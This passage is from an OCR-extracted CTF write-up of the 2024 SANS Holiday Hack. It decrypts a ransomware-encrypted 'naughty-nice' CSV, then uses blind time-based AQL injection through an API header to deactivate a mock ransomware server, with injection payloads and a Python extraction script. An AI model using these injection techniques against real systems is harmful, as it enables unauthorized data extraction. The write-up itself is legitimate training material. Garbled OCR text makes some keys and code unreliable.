RSA Decrypt

RSA Private Key (PEM|

-—-—-BEGIN RSA PRIVATE KEY—————
MIIJKAIBAAKCAgEAg'LgSeKkaQﬂgswaUth r
2andRtyoLotwtgaV a3/

Key Password

Encryption Scheme

RSAES-PKCS1-V1_5

800j7Z

s

L

Input + O3 8 =

7253d553ced47123a31313432a977773341efa23e02419965347b305b 526968 f6c93c236cad
331964d4e65954ac2b24e56d6d9fe51322b961e47968324931111d842b91570bc880920Fc26f
83f21b3e5066ca%90580191ad8707e27977c33e837ccf9dad6497439627658ab121e71e7183dc
c61c7d44775fc951baad24c61e366443999d4417d5dfbc394c7c7289cTabcB8adfb21b1fd17bb
3d58e6fce2dd14222f1f4eblcdf75280299adf2220635fdb6909605460650937d396a119e910
a3f0094deadb@9b9f3e5ed6e3da722b309c593e531808Fa07fcfd51@d9a34cbc@129delc@ase
77a31168c@b5ec97c97a%a4be51d2abddb3f@cab5abf@21abb4502c4bcdlbblcad5aef869520
232f7fbda5096030b46856cef1a69632588aB85b6a1d8¢c0461cfab7270168189fcch944c01134
40fel3d4c2c@badl6d594fd211dleffae538c6c5698d5be725bael22890e652¢41eb829d3b83
63b8010924d3dd757615¢cdf26792177281a78516bd7b37cd434b82432eb65¢c0eb5aa4883c9bd
46f7fcbd06896a91b5e92b4b32a98ac99358b0b5c956 1784464 F2cc397e6c598d5de566cFI3d7
1debaBl0115fd3dd906b7c7e5bf3d741a22b4bb58397d19470873¢ca55f9d212b72909e039418
fd49584303c82d86439c798aalccb3b9cafs58b81ad9cf091c2311F74889e086035de1020902
9037f0d8b542d30b08f46afobf74f5a9c729

e 1024 = 1 Tr Raw Bytes +« LF

Output B0 ®::

f1786f68fcf40b1f35db2bed8b7eaf5b,8851cfca33590alc

Answer

Step 8: AES Decrypt the .csv.frostbit file in CyberChef,
e Pick UTF8 for the key (despite the characters all being hex — this stumped at least a few in Discord).
e The IV is the nonce which you enter twice because it’s 16 bytes and the nonce is 8.

e Selectinput/output asraw

AES Decrypt &

Key

1786168 fcf40b1f95db2be9Bb7eaf..

v Mode
8851cfca33s90alc  HEXT CBC

Input Output
Raw Raw

STEP

Autn Raka

Name: naughty_nice_list.

csv.frostbit

apkA s ) »EvlAL/IxETw° QB CYhe> e\ »Ze "0a 188/ 28 #oee5é Evcr
501aNADBEVIianrsss$i¥xea26e §LER T ¢Ip®engO (Etociis §+AnYoo 1jvA
oldj ' &e I 5ARE « 'wz7h( “—i @1 ANGE Th<Eque/no>«1ilkgen~gIe} Size: 47952 bytes
wiii @akign"2e o4 (@ {JuRoe 1 9j&ej) ~e-EAWOFE-Fi=p@3E-dD«s 'TyPe:  unknown
¥veAtE> wlegen=_4+ 08§37} 20cn 207 #~ocs 2@ x+F%5%00 3 —R&O> £ §rses Loaded: 100%

sc 47952 = 170 ) ) "

Tr Raw Bytes & LF

B0Om

Output

room and left it in disarray
439,Willie Wisp,12,Nice,Volunteered at a local animal shelter and made sure the
animals were well cared for

440 13,Naughty,Had a surprise science experiment in the garage and

left a mess with the supplies

Key Learnings

e How to decrypt TLS in a PCAP using secret keys
e How to perform directory traversal (LFI?)

e How to take advantage of a vulnerable hashing algorithm by understanding Python code and bitwise operations.

Act 3: Deactivate Frostbit Naughty-Nice List Publicationk % # % %

Wombley's ransomware server is threatening to publish the Naughty-Nice list. Find a way to deactivate the publication of the
Naughty-Nice list by the ransomware server.

© Goal

Deactivate the ransomware server’s publication of the Naughty-Nice list.

i Key Hints

e There must be a way to deactivate the ransomware server's data publication. Perhaps one of the other North Pole
assets revealed something that could help us find the deactivation path. If so, we might be able to trick the Frostbit

infrastructure into revealing more details.

e Frostbit Slumber: The Frostbit author may have mitigated the use of certain characters, verbs, and simple
authentication bypasses, leaving us blind in this case. Therefore, we might need to trick the application into
responding differently based on our input and measure its response. If we know the underlying technology used for
data storage, we can replicate it locally using Docker containers, allowing us to develop and test techniques and

payloads with greater insight into how the application functions.
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B Solution Steps
From a hint mentioning other North Pole assets revealing the deactivation path, there is an MQTT message from the Santa
Vision challenge that has the word “deactivate.”

Error msg: Unauthorized access attempt. /api/vl/frostbitadmin/bot/<botuuid>/deactivate, authHeader: X-API-Key,
status: Invalid Key, alert: Warning, recipient: Wombley

Adding on the debug=1 parameter (like the previous challenge) gives us the error, “Invalid Key” which I’ll refer to as ERR1.

https://api.frostbit.app/api/vl/frostbitadmin/bot/a%9f10136-bcff-4800-a911-f£2279£f88ba2/deactivate ?2debug=1

(your UUID will be different)
The error message from the MQTT mentions an HTTP authHeader of X-API-Key. To create HTTP requests with custom headers,
curl or Python could be used. But | think Burp Suite’s Repeater tool is easiest.

Request Response
Raw Hex B v = Pratty Raw Hix
1 GET sapifvl/frostbitadmin/bot/a9fl0136-beff-4800-a011-FF2279f88ba2/deact ivatetdebug=] 1 HTTPf2 483 Forbidden
HTTPs2 2 Server: nginx/1.27.1
2 Host: api.frostbit.app i Date: Mon; 23 Dec 2024 21:19:55 GMT
i X-Api-Key: abcde 4 Content-Type: application/json

» Content-Length: 37
i+ Strict-Transport-Security: max-age=31536000

4 {"debug™:true,"error:"Invalid Key"}

Knowing there’s a working HTTP header, we can try an injection at this point. Putting in a single quote, ', to prematurely close a
where clause gives us the error, which I'll refer to as ERR2.

"Timeout or error in query:\nFOR doc IN config\n FILTER doc.<key name omitted> ==
'{user supplied x api key}'\n <other query lines omitted>\n RETURN doc"}

Searching up this error online quickly identifies this DB as Arango DB.

Background Info: ArangoDB
ArangoDB is a multi-model database system since it supports three data models (graphs, JSON documents, key/value) with
one database core and a unified query language AQL (ArangoDB Query Language). To understand this solution more, itis

useful to understand how data is structured and available functions, especially ATTRIBUTES and LENGTH.

The error redacts the key_name, so that will be our goal to get. When | tried certain functions, | found they were blocked (as
mentioned in a hint) when | received the error, “Request Blocked.” This happened for functions like RETURN, LET, and UPDATE.
| found that the ATTRIBUTES function would return the key_names of the document in an array, and it wasn’t blocked. At this
point, there are two obstacles. 1. We need to figure out a way to use the output of the ATTRIBUTES function and 2. We need to
figure out how to get the information out to ourselves. This is possible using the two error messages, ERR1 and ERR2.

Obstacle 1: We could brute force guess the X-API-KEY name. Here's what it'd look like assuming 5 characters:

' OR ATTRIBUTES (doc) [0] == 'aaaaa' OR '
' OR ATTRIBUTES (doc) [0] == 'aaaab' OR '
' OR ATTRIBUTES (doc) [0] == 'aaaac' OR '

But for all alphanumeric characters that would be (26*2+10)*5 which is over 900 million permutations! And the key name
could be much longer than 5 characters long, and | didn't include special characters either. Using SUBSTRING can save us! It
allows us to test one character at a time for each position.

' OR SUBSTRING (ATTRIBUTES (doc) [0], O, 1) == 'a' OR '
' OR SUBSTRING (ATTRIBUTES (doc) [0], 0, 1) == 'b' OR '
' OR SUBSTRING (ATTRIBUTES (doc) [0], O, 1) == 'c' OR '

For 5 alphanumeric characters, this becomes (26*2+10)*5 = 310 needed attempts. Adding 30 special characters, and for a key
length of 10, it's still less than 1000: (26*2+10+30)*10 = 920.

Obstacle 2: From one of the hints, it mentions "blind" and "slumber" indicating a blind injection using the SLEEP command.

Background Info: Blind SQL Injection
A blind injection uses TRUE/FALSE answers to extract information from a system. This is because values cannot be displayed
so things need to be inferred from the type of error messages that can be triggered.
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From these two injections, we can see two different errors:

' OR SLEEP(1) OR '
' OR SLEEP(2) OR '

Recall that in front of the injection is a FILTER for the API key. Since we don't know it, the FILTER clause will be false so an OR is
needed. SLEEP(1) will trigger ERR1: Invalid Key. And SLEEP(2) will trigger ERR2: Timeout (due to the longer sleep). These two
different error conditions will give us our TRUE/FALSE conditions.

Background Info: Short Circuit Evaluation
The first OR will tell the DB to evaluate the next clause (in the above example, SLEEP) regardless of the preceding condition.
For most systems, AND is treated differently where it will only check the second condition if the first one is true. This is called
short-circuit evaluation and is important for the next step.
Combining solutions to Obstacle 1 and Obstacle 2: Combining the two we get the following:

' OR SUBSTRING (ATTRIBUTES (doc) [0], O, 1) == 'a' AND SLEEP(2) OR '
' OR SUBSTRING (ATTRIBUTES (doc) [0], O, 1) == 'b' AND SLEEP(2) OR '
' OR SUBSTRING (ATTRIBUTES (doc) [0], O, 1) == 'c' AND SLEEP(2) OR '

Case 1 key-name does not start with "a": For the first row, the SUBSTRING clause will be false, then SLEEP(2) will not be
triggered due to the short-circuit evaluation. This would result in ERR1: Invalid Key.

Case 2 key-name starts with "a": For the first row, the SUBSTRING clause will be true, then SLEEP(2) will be triggered causing a
timeout. This would result in ERR2: Timeout.

+»Side Note
Using LENGTH in place of SUBSTRING, you can determine the length the key ahead of time. (psst, it's 18)

| ' OR LENGTH (ATTRIBUTES (doc) [0]) > 18 AND SLEEP(2) OR '

The resultant Python script automates the process:

import requests, string

base url = 'https://api.frostbit.app/api/vl/frostbitadmin/bot/a9£10136-bcff-4800-a911-
££2279£88ba2/deactivate?debug=1"

characters = string.ascii lowercase + string.digits + " —+\/'!@#$%"&()=[1{}|:\\, .<>?~" + string.ascii uppercase
max_attr length = 18 # Length of attribute name to check

def make request (char, position):
headers = {
'X-Api-Key': f"' OR SUBSTRING (ATTRIBUTES (doc) [0], {position}, 1) == \"{char}\" AND SLEEP(2) OR '"
}
response = requests.get(base url, headers=headers)
return response.text

for position in range (max_ attr length) :
for char in characters:
response_text = make request(char, position)
if 'Invalid Key' not in response text:
print(char,end="'"', flush=True)
break # Exit the inner loop when a valid character is found

Running this gives the key name: deactivate_api_key. There were 3 other ATTRIBUTES (index 1-3) which | leave for the reader to
explore. Once you have the key name, we can repeat the process above except replacing "ATTRIBUTES(doc)[0]" with
"doc['deactivate_api_key']". This one is 36 characters long (a UUID).

Answer
Make your web request in Burp/curl/Python with the key (your will be different) as the X-API-KEY value.

GET /api/vl/frostbitadmin/bot/a9£f10136-bcff-4800-a911-££f2279f88ba2/deactivate?debug=True HTTP/2
X-Api-Key: abe7abad-715e-4e6a-901b-c9279a964£91

"message" : "Response status code: 200, Response body: {\"result\":\"success\",\"rid\":\"a9f10136-bcff-4800-a911-
££2279£88ba2\", \"hash\":\"80d59e22a47b436090a2a34cd7e1e5£403155850dc£f7682e7dc024ddd18da25e\", \"uid\":\"33627\" } \nPOSTED WIN
RESULTS FOR RID a9f10136-bcff-4800-a911-ff2279f88ba2","status":"Deactivated"

Key Learnings
e How do to blind injections to extract information from a database
e Arango DB features, functions
e Python/Burp/curl to automate web requests

2024 SANS Holiday Hack Report by James Mar 68



https://en.wikipedia.org/wiki/Short-circuit_evaluation

